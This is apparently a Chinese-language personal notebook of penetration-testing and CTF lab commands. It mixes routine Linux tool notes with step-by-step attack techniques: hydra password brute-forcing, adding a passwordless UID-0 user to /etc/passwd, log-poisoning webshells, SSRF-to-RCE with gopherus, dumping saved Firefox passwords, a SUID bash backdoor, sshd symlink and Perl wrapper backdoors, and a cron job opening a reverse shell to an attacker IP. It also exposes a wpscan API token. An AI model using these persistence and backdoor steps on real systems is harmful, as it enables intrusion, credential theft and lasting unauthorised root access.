知识点
sc
SC命令的格式:SC [Servername] command Servicename [Optionname= Optionvalues]
Servername:指定服务所在的远程服务器的名称。名称必须采用通用命名约定 (UNC) 格式(“\myserver”)。如果是在本地运行SC.exe,请忽略此参数。
command :如query,start,stop,create,config等
Servicename:服务名,也就是要配置的那个服务的名字,例如你要启动一个服务你就输入sc start +你要启动的服务名称(并非是服务显示名称)。
Optionname= Optionvalues:是选项名和选项的值。
hydra
hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt http-post://10.10.249.106:8080
hydra -l wp-admin -P /usr/share/wordlists/rockyou.txt http-post://192.168.152.141/blog/wp-login.php
hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p 12345 http-post://192.168.152.141/blog/wp-login.php
域名解析失败
vim /etc/hosts
打开hosts配置文件,添加上ip与域名,然后重启一下服务 然后就可以正常访问了
也可以用bash -c 'echo ip 域名 >> /etc/hosts'
重启一下网络服务
/etc/init.d/networking restart
wpscan
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
wpscan --api-token=OGdgn8Ekao1Pt4jgVrO3AsxsWcQ4yC1liIzYC3756Tk --url=http://192.168.152.141/blog -e p --plugins-detection aggressive
这里的token可以自己到wpscan官网注册获得
joomscan
joomscan --url http://xxx.xxx.com 可以扫描joomla服务的后台地址以及服务版本
cewl
cewl http://xxx.com >1.txt 爬取网站,生成一个字典
cewl http://xxx.com -m 9指定生成至少9位的密码
https://www.freebuf.com/articles/network/190128.html
rbash逃逸
它与一般shell的区别在于会限制一些行为,让一些命令无法执行
2.如何设置一个rbash
cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令
https://blog.csdn.net/qq_43168364/article/details/111830233
在/var/mail/
/var/spool/mail/
可以看到邮件
邮件相关操作
linux用户的邮件存在哪里,在Linux系统中收发及查看邮件-CSDN博客
openssl
openssl passwd -1 -salt cll password
密码是password
/etc/passwd
user:123:0:0:root:/root:/bin/bash
用户名:密码:uid:gid:描述:家目录:哪种shell
4种可执行文件目录
/usr/bin/
/bin/
/usr/sbin/
/sbin/
echo
追加: echo " " >> 文件名
覆盖: echo " " > 文件名
ximong:~$ cat aa.sh #打印文件aa中原来的内容,显示aa
aa
ximong:~$ echo bb >> aa.sh # 在文本末尾追加
ximong:~$ cat aa.sh
aa
bb
ximong:~$ echo cc >aa.sh #覆盖
ximong:~$ cat aa.sh
cc
nginx日志写shell
/var/log/nginx/access.log
可以尝试在UA头和URL写一句话木马
wfuzz
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.43.192/thankyou.php?FUZZ=/etc/passwd
添加root用户
echo "admin::0:0:admin:/root:/bin/bash">>/etc/passwd
用户名:admin
密码:空
sudo
sudo -u jens /home/jens/backups.sh
“以jens
用户的身份来执行/home/jens/backups.sh
这个脚本”。
drush
创建新用户
drush user-create username --mail='email@exp.com' --password="password"
删除用户
drush user-cancel username
更改密码
drush user-password admin --password="new_pass"
获取不到靶机ip地址
启动靶机的时候屏幕中间出现蓝色按住shift键后按e,在末尾处,找到ro,将ro 替换为 rw signie init=/bin/bash
按下Ctrl键+X键
查看当前网卡IP信息 ip a
网卡为 ens33
.编辑网卡配置文件vim /etc/network/interfaces
重启网卡服务 /etc/init.d/networking restart
重启靶机就可以了
gopherus工具
gopherus是一款生成gopher链接来帮助我们利用SSRF和获得RCE的工具,当然,使用的前提是一个地方验证了SSRF漏洞,而且gopher协议又没被过滤
1.下载
git clone http://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip
2.解压
unzip master.zip
python2 gopherus.py --exploit mysql
输入用户名
输入要执行的操作
ssh-keygen
ssh-keygen
是一个用于创建、管理和转换身份验证密钥的工具,这些密钥通常用于 SSH 协议以实现安全的远程登录或其他加密的网络连接。
在你给出的命令 ssh-keygen -f upfine
中,-f
选项用于指定输出密钥文件的名字。但是,这里有一点需要注意:
- 通常,
ssh-keygen
默认会创建两个文件:一个私钥文件(默认名为id_rsa
或你指定的名称,但带有私钥的扩展名,如.pem
、.ppk
等)和一个公钥文件(通常是私钥文件名加上.pub
后缀)。 - 当你使用
-f
选项时,你通常只指定私钥文件的名称,公钥文件将自动具有相同的名称但带有.pub
后缀。 upfine
可能是你想要为私钥文件命名的名称,但除非你指定了密钥类型(如-t rsa
),否则ssh-keygen
会默认使用 RSA 密钥类型。
因此,如果你运行 ssh-keygen -f upfine
,你可能会得到两个文件:upfine
(私钥文件)和 upfine.pub
(公钥文件)。
但是,为了完整性和明确性,我建议你还指定密钥类型,例如:
bash复制代码
ssh-keygen -t rsa -f upfine
这将明确指示 ssh-keygen
使用 RSA 密钥类型,并将私钥保存到名为 upfine
的文件中。
ssh公钥登录
1、生成ssh密钥对
ssh-keygen -f id_rsa
2、上传公钥
scp /home/kali/id_rsa.pub snape@192.168.152.148:~/
cd /home/snape
3、修改权限和名称
chmod 640 id_rsa.pub
赋予公钥执行权限,注意这里要先进入/home/snape才能看到公钥
mv id_rsa.pub authorized_keys
改公钥的文件名,这是规定,不然会连不上
4、移动公钥到hermoine/.ssh/目录下面
/home/hermoine/bin/su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
使用su_cp把snape上的公钥放到hermoine用户的ssh文件下,这个命令输入后可以查看一下/home/hermoine/.ssh/
是否有该文件
5、用私钥连接ssh
ssh hermoine@192.168.152.148 -i /home/kali/id_rsa
Firefox Decrypt
.mozilla文件,这个文件里面包含有火狐浏览器各种信息乃至账密。这个工具专门提取该文件信息的工具
1.我是先下载到本机然后拖到kali里面的
2.wget https://github.com/lclevy/firepwd/archive/refs/heads/master.zip
下载firepwd工具
3.cd firepwd-master
进入工具文件夹
4.sudo pip install -r requirements.txt
下载所需模块
5.cp firepwd-master/firepwd.py demo/firefox/g2mhbq0o.default
将脚本复制到要读取数据的火狐文件中
6.cd demo/firefox/g2mhbq0o.default
进入保存数据的火狐文件
7.python3 firepwd.py
执行脚本,读取数据
是否在docker环境
cat /proc/1/cgroup
探测内网存活主机
for i in {1..254}; do
ping -c 1 192.168.152.$i
done
ss -pantu | grep server
这个命令组合在Linux系统中用于查找与“server”相关的网络活动。具体来说,这个命令由几个部分组成,我们逐一解释:
- ss: 这是一个用于查看系统套接字统计信息的工具。与
netstat
类似,但ss
通常更快,因为它直接从内核中获取套接字信息,而不是从/proc
或/net
目录中读取。 - -p: 这个选项告诉
ss
显示与每个套接字关联的进程信息。例如,它会显示哪个进程正在监听或连接到特定的套接字。 - -a: 显示所有套接字。默认情况下,
ss
可能只显示监听套接字,但使用-a
选项会显示所有套接字,包括已建立的连接、TIME_WAIT套接字等。 - -n: 这个选项在原始命令中并未明确给出,但通常与
ss
一起使用来避免解析服务名(如将端口号解析为“http”或“ssh”等)。由于原始命令中没有-n
,ss
可能会尝试解析服务名。 - -t: 仅显示TCP套接字。如果你只对TCP连接感兴趣,这个选项很有用。
- -u: 仅显示UDP套接字。但在你的命令中,这个选项并没有给出,所以我们只关注TCP套接字。
- |: 这是一个管道符号,用于将一个命令的输出作为另一个命令的输入。
- grep server: 使用
grep
命令搜索包含“server”的行。这允许你过滤出与“server”相关的行,可能是服务名、进程名或其他任何包含“server”的文本。
综上所述,ss -pantu | grep server
这个命令会列出所有TCP套接字(包括监听的和已建立的连接),并显示与每个套接字关联的进程信息。然后,它会使用grep
过滤出包含“server”的行,这有助于你快速找到与“server”相关的网络活动或进程。
node.js
node.js技术就是用于利用javascript代码在服务器上搭建web应用程序,而且这样搭建出来的web应用程序有很多独有的优势,比如非阻塞机制,异步输入输出之类的模型,使得这些web应用程序在处理某些特定程序时性能大大提高,并且通常都是基于一些已有的框架和库来进行开发,而express.js库是基于web应用开发使用的最多的
date
date '+Today is %A, %B %d, %Y %H:%M:%S.'
Today is 星期二, 七月 02, 2024 11:10:27.
图片隐写查看
输入steghide命令使用info参数查看图片
steghide info trytofind.jpg
- 提取数据
- steghide extract -sf trytofind.jpg、
时间伪造
touch -r 目标时间戳的文件 要修改时间戳的文件
锁定文件
chattr -i 目标文件名
解锁也是这个命令
ltrace
ltrace命令 是用来跟踪进程调用库函数的情况。
last
在Linux中可以使用Last查看账号SSH登录情况
last|grep root
useradd
useradd -p openssl passwd -1 -salt 'salt' 123456
test -o -u 0 -g root -G root -s /bin/bash -d /home/test
这条命令尝试使用 useradd
命令来创建一个新用户,但在使用方式和参数上存在一些潜在的问题和误解。下面我将逐一解释这条命令的各个部分,并指出可能的问题和如何正确执行类似的操作。
命令解析:
useradd
:用于在Linux系统中添加新用户。-p
:用于指定用户密码的加密字符串。但是,通常不推荐直接在命令行中使用明文密码来生成加密字符串,因为这可能会被记录在命令历史或系统日志中。openssl passwd -1 -salt 'salt' 123456
:这部分尝试使用OpenSSL的passwd
命令来生成密码123456
的MD5加密字符串,并指定了盐值'salt'
。然而,-1
选项现在可能不被所有OpenSSL版本支持(或已弃用),因为它指定了MD5加密方式。此外,直接在命令行中硬编码盐值可能不是最佳实践,因为盐值应该是随机的。test
:这是你想要创建的用户名。-o
:允许创建UID为0的用户(通常是root用户),这在大多数情况下是不推荐的,因为UID 0具有对系统的完全访问权限。-u 0
:设置用户的UID为0,这通常与root用户相关联。-g root
:设置用户的主组为root组。-G root
:将用户添加到root附加组中,但这里与-g
参数重复了,因为通常-g
已经指定了主组。-s /bin/bash
:设置用户的登录shell为bash。-d /home/test
:设置用户的家目录为/home/test
。
潜在问题和建议:
- UID 0(root)的问题:通常不建议为非root用户设置UID为0,因为这会给该用户root级别的权限。如果确实需要这样的用户,请确保你了解这样做的风险,并考虑使用sudo来管理权限。
- 密码生成:如果你需要生成密码的加密字符串,建议使用更安全的方法,比如使用
chpasswd
命令(如果可用),或者通过脚本生成加密密码后通过文件或其他安全方式传递。 - 盐值:虽然可以指定盐值,但最好让系统生成一个随机的盐值,以增加密码的安全性。
- 命令安全性:直接在命令行中指定明文密码(即使它会被加密)可能会带来安全风险。考虑使用更安全的方式来处理密码。
修改后的命令示例(不使用UID 0):
bash复制代码
openssl passwd -1 -salt $(openssl rand -base64 4) '123456' | sudo useradd -p $(cat) -u $(id -u nobody + 1) -g users -G sudo -s /bin/bash -d /home/test test
注意:
- 这个命令使用了
openssl rand -base64 4
来生成一个随机的盐值。 - 使用
$(cat)
来从管道中读取加密后的密码。 - 假设
nobody
用户存在,并且你希望新用户的UID比nobody
大1(这只是一个示例,你应该根据你的系统情况选择合适的UID)。 - 这里将用户的主组设置为
users
,并添加了sudo
组以便该用户可以使用sudo命令(根据实际需要调整)。
请根据你的具体需求和安全策略调整这些命令。
suid shell
suid shell 主要是方便提权,配合普通用户使用
使用之后就会让普通用户毫无压力提权,自然也达到了类似权限维持的效果,原理如下:
首先Linux系统上,都会有一个叫Bash的shell文件,这个时候我们可以把这个shell文件copy一份到另外一个文件夹
再把另外一个文件夹加上us(即suid)的一个权限
这样其他用户在登录时,利用suid就可以轻松提权
步骤如下
将文件复制出来
cp /bin/bash /tmp/shell
赋予suid权限
chmod u+s /tmp//shell
这样就设置成功了,我们再使用普通用户登录
以普通用户执行刚才的文件
/tmp/shell -p
ssh软连接
ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config|grep UsePAM
为Yes即可使用
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
开启软链接,链接端口为9999
firewall-cmd --add-port=9999/tcp --permanent
开启防火墙规则,不然会连接不上
firewall-cmd --reload
重启防火墙服务
firewall-cmd --query-port=9999/tcp
查看防火墙9999端口是否被放行,回显为YES即成功放行
ssh root@192.168.149.133 -p 9999
使用软链接登录,密码可以随便输入
(192.168.149.133为我环境中目标的ip)
ssh wrapper
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
服务端(被攻击端)执行如下命令*
cd /usr/sbin/
进入sshd文件所在目录
mv sshd ../bin/
将正常sshd文件移出
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
将脚本写入新的sshd文件
chmod u+x sshd
赋予文件执行权限
/etc/init.d/sshd restart 或者service sshd restart
重启ssh服务
客户端执行如下命令
socat STDIO TCP4:目标ip:22,sourceport=13377
计划任务
1、创建一个sh脚本
,例如在/etc下创建了一个shell.sh的脚本,内容如下
!/bin/bash
bash -i >& /dev/tcp/192.168.15.130/6666 0>&1
注意:这里的192.168.15.130为我们kali的攻击机的ip,端口为我们攻击机接收的端口,相当于控制目标主动来连我们
2、赋予执行权限
chmod +sx /etc/shell.sh
3、写入计划任务
vi /etc/crontab
打开计划任务文件
将下面的指令添加到该文件中,意思就是每分钟执行一次我们的恶意文件
*/1 * * * * root /etc/shell.sh
4、重启计划任务
service crond restart
5、客户端开启监听
这时候在我们的kali攻击器开启监听就可以成功获取到目标反弹回来的权限